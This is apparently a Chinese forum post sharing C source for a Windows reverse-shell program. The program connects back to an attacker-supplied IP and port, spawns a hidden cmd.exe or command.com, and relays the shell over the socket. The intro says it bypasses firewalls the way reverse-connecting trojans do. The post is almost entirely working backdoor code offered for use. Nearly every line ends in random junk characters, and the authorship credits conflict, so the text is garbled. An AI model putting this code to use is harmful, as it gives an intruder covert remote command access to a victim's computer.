这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j0o_``
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/* ============================== Bfaj4i;_
Rebound port in Windows NT zp"sM
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By wind,2006/7 kwK<?\D
===============================*/ R#Id"O
#include a)4.[+wnRf
#include bWwc2##7jo
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#pragma comment(lib,"wsock32.lib") (C,PGjd
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void OutputShell(); G(|ki9^@"9
SOCKET sClient; ;-@^G
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; w^NE`4 -
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void main(int argc,char **argv) -GCGxC2u
{ >&e|ins^N
WSADATA stWsaData; W:b8m Xx
int nRet; <;+&`R
SOCKADDR_IN stSaiClient,stSaiServer; [Pby
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if(argc != 3) \8=>l?P
{ !u~( \Rb;
printf("Useage:\n\rRebound DestIP DestPort\n"); Yc /rjEn7O
return; #G|iEC0C
} <y \>[7Y
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WSAStartup(MAKEWORD(2,2),&stWsaData); G*mk 19Z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dx/?0F7V
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stSaiClient.sin_family = AF_INET; zOCru2/
stSaiClient.sin_port = htons(0); -JaC~v(0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tV@!jaj\
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ zy8W8h(?
printf("Bind Socket Failed!\n"); <:2El9l!
return; $dgY#ST%
} }9aYU;9D
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stSaiServer.sin_family = AF_INET; 5"c#OU
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :U0z;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); eFp4MD8?
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) O]~ cv^
{ VW I{ wC
printf("Connect Error!"); =\ iV=1iB
return; 6^s=25>p
} :7<spd(%"
OutputShell(); n87B[R
} 5<GC
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void OutputShell() V"#ie
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{ ),mKEpf
char szBuff[1024]; g599Lc&
SECURITY_ATTRIBUTES stSecurityAttributes; vkOCyi?c
OSVERSIONINFO stOsversionInfo; x}i:nLhL
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \&`S~c V9
STARTUPINFO stStartupInfo; H.hF`n
char *szShell; >> Z.]
PROCESS_INFORMATION stProcessInformation; PR|F-/o
unsigned long lBytesRead; fDNiU"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :&HrOdz
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vXAO#'4tm%
stSecurityAttributes.lpSecurityDescriptor = 0; 6UG7lH!M
stSecurityAttributes.bInheritHandle = TRUE; 7MZBU~,r
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "6w-jT
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Vi?[yu<F
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1\=)b< y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C,P>7
stStartupInfo.wShowWindow = SW_HIDE; Pb]: i+c)
stStartupInfo.hStdInput = hReadPipe; %# ?)+8"l
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; IKMkpX!]
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GetVersionEx(&stOsversionInfo); IC{\iwO/~c
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switch(stOsversionInfo.dwPlatformId) z8G1[ElY
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case 1: o|*ao2a
szShell = "command.com"; |,cQJ
break; Fo=Icvo
default: g'ha7~w(p
szShell = "cmd.exe"; s3>,%8O6
break; ]+<[D2f
} R?b3G4~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5 >S#ew
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send(sClient,szMsg,77,0); ]B/Gz
while(1) zRd^Uks
{ o|YY,G=C
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (/UW}$] h
if(lBytesRead) y[:\kI
{ :hr% 6K7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dlmF?N|EC
send(sClient,szBuff,lBytesRead,0); y{
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} u9ObFm$7
else 6c,]N@,Zw
{ 0+L:+S
lBytesRead=recv(sClient,szBuff,1024,0); D1rXTI$$
if(lBytesRead<=0) break; ;gLHSHEA
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ecDni>W
} V9&7K65-1
} <ZcJC+k
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return; 2$?bLvk
}